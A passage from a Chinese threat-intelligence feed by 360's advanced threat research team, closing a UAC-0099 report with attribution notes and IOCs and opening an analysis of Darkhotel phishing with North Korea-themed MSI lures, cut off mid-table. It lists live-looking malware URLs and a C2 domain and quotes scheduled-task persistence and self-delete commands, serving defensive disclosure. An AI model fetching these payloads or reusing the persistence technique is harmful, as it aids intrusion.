normal;">1.本次攻击中使用的MATCHBOIL.V2为UAC-0099组织早期攻击活动中使用的同类型工具，工具链特征高度一致。</span><o:page></o:page></p><p style="text-align: justify;text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">2.攻击目标集中在乌克兰地区，以政府机构、关键基础设施相关定向目标为主，与UAC-0099的历史攻击目标偏好一致。诱饵压缩包使用乌克兰语命名，针对乌克兰语使用者定向投递，复刻了该组织针对乌克兰地区实施情报窃取的惯用手法。</span></p><p style="text-align: justify;text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">3.反沙箱检测中包含俄文运行时间提取正则，暗示开发者具有俄语背景，与该组织的地域特征吻合。</span></p><p style="text-align: center;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 7.5pt;word-break: break-all;background: rgb(255, 255, 255);"><span style=""><span style=""><span style="font-family: 宋体;font-variant: normal;text-transform: none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3132716049382716" data-w="648" style="width: 553.74px;height: 173.47px;" src="https://wechat2rss.xlab.app/img-proxy/?k=74e7ffd5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXK5dOSgqB037efenBS17ticnw0xnYsdJSrIJAxdA9SYOkaQ717muO4fuZHOT1JkoCTQ5RYXOTr2CHKcLXP40luEfwS4zibLrLXkE%2F640%3Fwx_fmt%3Dpng"/></span></span></span></span></p><p style="text-align: justify;text-indent: 2em;margin-top: 16px;margin-bottom: 24px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">UAC-0099在历史行动中通常负责初步入侵，随后将高价值目标移交给</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">APT-C-13（Sandworm）</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">组织进行后续攻击，这种分工协作模式进一步印证了其与俄罗斯对乌网络战体系的关联。</span></p><div data-role="outer" label="edit by 135editor" data-pm-slice="0 0 []"><div data-role="title" data-tools="135编辑器" data-id="85638" style=""><div style="margin: 2em auto 0px;padding: 0.5em 0px;white-space: normal;border-right: none;border-bottom: none;border-left: none;border-image: initial;border-top: 1px solid rgb(204, 204, 204);display: block;font-size: 15px;font-style: normal;font-weight: inherit;text-decoration: inherit;color: rgb(166, 166, 166);box-sizing: border-box;font-family:inherit;"><p style="margin-top: -1.2em;text-align: center;padding: 0px;border: none;line-height: 1.4;box-sizing: border-box;"><span style="font-size:15px;"><strong><span style="background-color: rgb(15, 15, 25);border-color: rgb(183, 184, 184);color: rgb(255, 255, 255);font-style: normal;padding: 8px 23px;text-align: center;text-decoration: inherit;font-family:inherit;"><span leaf="">附录 IOC</span></span></strong></span></p></div></div><div data-role="paragraph"><p style="margin-top: 16px;"><span leaf=""><span textstyle="" style="font-size: 15px;">93c71e872d6524de6e40c39f8b54c593</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 15px;">59644121b4301ed64a5b44efc2c4b279</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 15px;">e7fa5a32b91bc56ec8c802f473dadd0e</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 15px;">112cde15d938ba03e7dc637534746ff5</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 15px;">8b939af31ffbde820aec4a2faf3127da</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 15px;">488dfb1edca181529916e698291d2ed7</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 15px;">d889d807fad0431b50f60158dc81aeb6</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 15px;">b11e38f71f580c43f640d4ae8e0135b7</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 15px;"><a href="https://cutt.ly/TtXIrg5W" target="_blank">https://cutt.ly/TtXIrg5W</a></span></span></p><p><span leaf=""><span textstyle="" style="font-size: 15px;"><a href="https://cdn.imageurlgenerator.com/uploads/4cf30f1d-c473-4a94-854c-ed5059b80876.exe" target="_blank">https://cdn.imageurlgenerator.com/uploads/4cf30f1d-c473-4a94-854c-ed5059b80876.exe</a></span></span></p><p style="margin-bottom: 24px;"><span leaf=""><span textstyle="" style="font-size: 15px;">kaufen-qpon.icu</span></span></p><div data-role="outer" label="Powered by 135editor.com" style="" data-pm-slice="0 0 []"><div data-tools="135编辑器" data-id="96036"><div style="margin:10px auto;"><div data-autoskip="1" style="font-size: 14px;text-align: justify;letter-spacing: 1.5px;line-height: 1.75em;color: #3e3e3e;"><p hm_fix="208:559"><span style="color: rgb(190, 25, 31);font-size: 15px;"><strong style="letter-spacing: 0.544px;caret-color: red;max-width: 100%;overflow-wrap: break-word !important;font-family:-apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span style="max-width: 100%;overflow-wrap: break-word !important;font-family:微软雅黑, sans-serif;"><span leaf="">360</span></span></strong><strong style="letter-spacing: 0.544px;caret-color: red;max-width: 100%;overflow-wrap: break-word !important;font-family:-apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span style="max-width: 100%;overflow-wrap: break-word !important;font-family:微软雅黑, sans-serif;"><span leaf="">高级威胁研究院</span></span></strong></span></p><p style="margin: 0px;padding: 0px;text-align: justify;max-width: 100%;min-height: 1em;letter-spacing: 0.544px;line-height: 1.5em;box-sizing: border-box !important;overflow-wrap: break-word !important;font-family:-apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span style="margin: 0px;padding: 0px;max-width: 100%;color: rgb(136, 136, 136);font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;font-family:微软雅黑, sans-serif;"><span leaf="">360高级威胁研究院是由360资深安全专家组成，专注于高级威胁的发现、防御、处置和研究，曾在全球范围内率先捕获双杀、双星、噩梦公式等多起业界知名的0day在野攻击，独家披露多个国家级APT组织的高级行动，赢得业内外的广泛认可，为360保障国家网络安全提供有力支撑。</span></span></p></div></div></div></div></div><o:page></o:page></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



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]]></content:encoded>
      <pubDate>Wed, 26 Aug 2026 17:30:00 +0800</pubDate>
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      <title>APT-C-06（Darkhotel）近期利用朝鲜相关诱饵发起的攻击活动分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzUyMjk4NzExMA==&amp;mid=2247508780&amp;idx=1&amp;sn=718830be7fd88519947419b3ed1a5ce6</link>
      <description>APT‑C‑06（Darkhotel）自 2007 年起开展攻击活动，2014 年由卡巴斯基实验室首次披露。该组织以高端酒店网络作为渗透载体，针对周边国家政企高管、国防与电子工业关键机构实施持续性情报窃取攻击。</description>
      <content:encoded><![CDATA[<p><span>高级威胁研究院</span> <span>2026-08-12 17:30</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=52a2f3a5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FEmmib7pWXrXKYEHBCflmZZicrcAuEmmYVVMIQI3bCjSapCQibwEibDZoIGMUJvy9Q7eK67wuoJeAxSgV2eyGlNf0sicdzdLvo1vEfFqP16ANkHNo%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>APT‑C‑06（Darkhotel）自 2007 年起开展攻击活动，2014 年由卡巴斯基实验室首次披露。该组织以高端酒店网络作为渗透载体，针对周边国家政企高管、国防与电子工业关键机构实施持续性情报窃取攻击。</p>
  <div data-role="outer" label="Powered by 135editor.com" style="" data-pm-slice="0 0 []"><div data-tools="135编辑器" data-id="102539"><div style="margin: 10px auto;text-align: left;"><div style="background: #f2f2f2;"><div style="box-sizing: border-box;padding:1em 1em;"><div style="display: flex;justify-content:  space-between;align-items: flex-end;" hm_fix="312:231"><div style="display: flex;justify-content: space-between;flex-direction: column;align-items: flex-start;border-left: 4px solid #be191f;box-sizing: border-box;"><p data-brushtype="text" style="text-indent: 0pt;text-align: center;"><strong><span leaf="" style="font-family: Calibri;font-variant: normal;text-transform: none;">APT-C-06</span></strong></p><p data-brushtype="text" style="letter-spacing: 1.5px;padding: 4px 0em 0px;color: #be191f;font-style: italic;box-sizing: border-box;"><span style="font-size: 18px;"><strong><span leaf="">Darkhotel</span></strong></span></p></div></div><div data-autoskip="1"><p style="margin-top: 8px;text-align: justify;text-indent: 2em;margin-bottom: 8px;"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-role&#34;:&#34;outer&#34;,&#34;label&#34;:&#34;Powered by 135editor.com&#34;,&#34;style&#34;:&#34;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;&#34;}]">APT-C-06（Darkhotel）组织是一个长期针对企业高管、国防工业、电子工业等重要机构实施网络攻击活动的APT组织。该组织的早期攻击目标是入住高端酒店的商务人士或有关国家政要，攻击者通过酒店网络渗透目标关键人物，因此得名DarkHotel。2014年11月，卡巴斯基实验室的安全专家首次发现了Darkhotel APT组织，并声明该组织至少从2007年就已经开始活跃。</span></p></div></div></div></div></div></div><div data-role="outer" label="edit by 135editor" data-pm-slice="0 0 []"><div data-tools="135编辑器" data-id="105196"><div data-tools="135编辑器" data-id="105196"><div style="text-align: left;margin: 10px auto;"><div style="background: linear-gradient(to bottom,rgba(254,254,254,0) 0%,rgba(254,254,254,0) 60%,#ffffff 60%,#ffffff 100%);" data-ignore-dm="text-bg-gradient"><div style="display: inline-block;"><div style="background-color: #be191f;padding: 6px 15px;box-sizing:border-box;"><p data-brushtype="text" style="font-size: 18px;letter-spacing: 1.5px;color: #ffffff;"><strong><span style="font-size:18px;" data-ignore-dm="low-contrast"><span leaf="">一、攻击流程</span></span></strong></p></div></div></div></div></div></div></div><p style="text-align: justify;text-indent: 2em;margin-bottom: 16px;margin-top: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">2026年4月，APT-C-06（Darkhotel）使用一个名为“</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">조선중앙텔레비죤</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">실시간방영프로그람</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">해설서</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">.docx”（朝鲜中央电视台实时广播节目解说词）的诱饵文档开展钓鱼攻击活动。诱饵文档的内容介绍了如何安装和使用一个视频应用，该应用用于实时观看朝鲜中央电视台的节目。文档没有使用复杂的技术手段完成初始接入，而是通过诱导用户下载指定应用来触发恶意代码执行。</span><o:page></o:page></p><p style="text-indent:0.0pt;mso-char-indent-count:0;mso-char-indent-size:0pt;mso-pagination:none;page-break-after:avoid;"><span style="text-indent: 0pt;text-align: center;font-family: Calibri;font-variant: normal;text-transform: none;"><span leaf="" style="font-family: Calibri;font-variant: normal;text-transform: none;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8210689388071263" data-w="1291" style="width:553.739990234375px;height:454.6600341796875px;" src="https://wechat2rss.xlab.app/img-proxy/?k=323b3d6a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXKg0hAYtPgpTD6Err4PvjIwqm30SeUe3fHUOiaE1gLIVPrJ5Kjoq1ibDay0KvWwgBpMdwl4fpAJ19e3mgGFuHoVribqjBIQiaA6ic4I%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;color: rgb(2, 30, 170);">1</span></span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;color: rgb(2, 30, 170);">指导用户下载安装程序</span></span></p><p style="text-align: justify;text-indent: 2em;margin-bottom: 16px;margin-top: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">到5月底，攻击方式升级为通过钓鱼邮件投递包含同样应用的压缩包。</span></p><p style="text-align: justify;text-indent: 2em;margin-bottom: 16px;margin-top: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">恶意的msi与C06在25年的攻击活动</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">[1]</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">使用的msi有一些不同：不再包含恶意dll，而是通过vbs代码来创建执行Powershell代码的计划任务，进而下载后续载荷执行</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">。</span></p><p style="text-indent: 0pt;text-align: center;"><span leaf="" style="font-family: Calibri;font-variant: normal;text-transform: none;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3570722057368942" data-w="1011" style="width:553.739990234375px;height:197.6600341796875px;" src="https://wechat2rss.xlab.app/img-proxy/?k=4c1eff1e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXIWRR6ic9MkpicQKlMkEHibTkye0M58yLwzNrsA63h7ssDk9Kf1iacUiaKDhLBQFrfnXib0dRmBhH750Gbic6Q5ia5gCvhvibVcDibKQPUWs%2F640%3Fwx_fmt%3Dpng"/></span><o:page></o:page></p><div data-role="outer" label="edit by 135editor" data-pm-slice="0 0 []"><div data-tools="135编辑器" data-id="105196"><div data-tools="135编辑器" data-id="105196"><div style="text-align: left;margin: 10px auto;"><div style="background: linear-gradient(to bottom,rgba(254,254,254,0) 0%,rgba(254,254,254,0) 60%,#ffffff 60%,#ffffff 100%);" data-ignore-dm="text-bg-gradient"><div style="display: inline-block;"><div style="background-color: #be191f;padding: 6px 15px;box-sizing:border-box;"><p data-brushtype="text" style="font-size: 18px;letter-spacing: 1.5px;color: #ffffff;"><strong><span style="font-size:18px;" data-ignore-dm="low-contrast"><span leaf="">二、载荷分析</span></span></strong></p></div></div></div></div></div></div></div><h2 style=""><span leaf="" style="font-family: 黑体;font-variant: normal;text-transform: none;"><span textstyle="" style="font-size: 17px;color: rgb(190, 25, 31);font-weight: bold;">第一阶段msi文件</span></span></h2><p style="text-align: justify;text-indent: 2em;margin-bottom: 16px;margin-top: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">第一阶段的msi文件没有像攻击者在历史攻击活动中使用的msi文件那样使用CustomAction来加载内嵌的恶意dll，而是直接执行vbs代码。</span></p><p style="text-indent: 0pt;text-align: center;"><span leaf="" style="font-family: Calibri;font-variant: normal;text-transform: none;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.7722681359044995" data-w="1089" style="width: 553.74px;height: 427.61px;" src="https://wechat2rss.xlab.app/img-proxy/?k=729ab5ea&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXJpQ9bgycaeFRLkkds5SGQCKZw4hNhX9Iib3LATmmI0H1w3U4HNRVq0C4kxibK58UkIeBysPpqibPaPYlLxcu6wjic1j9AQaAVURSE%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="text-indent: 2em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">vbs代码的核心功能是创建两个计划任务：</span></p><p style="text-indent: 2em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">1.</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">创建计划任务\Microsoft\Windows\AppID\PolicyManager执行tp.ps1，用于驻留并下载执行下一阶段载荷</span></p><p style="text-indent: 2em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">2</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">.</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">创建计划任务\ScriptingSchedule，执行del kctv.msi;schtasks /delete /tn ScriptingSchedule /F&#34;，用于自删除。</span></p><p style="text-indent: 2em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">3.</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">创建并写入Powershell代码到tp.ps1文件。</span><o:page></o:page></p><p style="text-indent: 0pt;text-align: center;"><span leaf="" style="font-family: Calibri;font-variant: normal;text-transform: none;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6009988901220865" data-w="1802" style="width: 553.74px;height: 332.82px;" src="https://wechat2rss.xlab.app/img-proxy/?k=55308b36&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXK8z1m2QtAdEf1a2jZYFBNibicibeRB1ZcxbDdxrDNpT6j7txJtEaQmQYPjc6Kt0ydI23QpqibCGdiarJ8cITZRj2nJO2ezhG8wBrew%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="text-align: justify;text-indent: 2em;margin-bottom: 16px;margin-top: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">powershell代码中使用的url参数也在vbs代码中构建，其中bb是系统版本，aa是数字列表代表的杀软安装情况，pp是硬编码的标识，xx代表系统平台32位还是64位。</span></p><p style="text-indent: 0pt;text-align: center;"><span leaf="" style="font-family: Calibri;font-variant: normal;text-transform: none;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.33722358722358725" data-w="1628" style="width:553.739990234375px;height:186.760009765625px;" src="https://wechat2rss.xlab.app/img-proxy/?k=a39c4990&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXI1WM6ZBNRLbnMeLO3YQxUPkKZ791VU9XOXvxvp1xf7bszVJd5g6ZIs9nx1sUqicAuZrvoyL69sytPuMWkMBZwsibz8dzjzgEhw0%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="text-indent:0.0pt;mso-char-indent-count:0;mso-char-indent-size:0pt;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;" lang="EN-US"><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">攻击流程图中标注的第一阶段msi文件结构和功能完全相同，仅有的差异体现在两个变量中。两个变量会参与url的构建，具体逻辑可以参考上图。</span></span></p><table style="margin-left: 0.0;border: none;border-collapse: collapse;mso-border-top-alt: solid windowtext 0.5pt;mso-border-left-alt: solid windowtext 0.5pt;mso-border-bottom-alt: solid windowtext 0.5pt;mso-border-right-alt: solid windowtext 0.5pt;width: 100%;mso-padding-alt: 0pt 5.4pt 0pt 5.4pt;"><tbody><tr><td data-colwidth="189" width="189" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"></td><td data-colwidth="189" width="189" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="text-indent:0.0pt;mso-char-indent-count:0;mso-char-indent-size:0pt;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf="">M_PATH</span></span></p></td><td data-colwidth="189" width="189" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="text-indent:0.0pt;mso-char-indent-count:0;mso-char-indent-size:0pt;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf="">PP_TYPE</span></span></p></td></tr><tr><td data-colwidth="189" width="189" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="text-indent:0.0pt;mso-char-indent-count:0;mso-char-indent-size:0pt;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf="">kctv.msi</span></span></p></td><td data-colwidth="189" width="189" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="text-indent:0.0pt;mso-char-indent-count:0;mso-char-indent-size:0pt;"><span 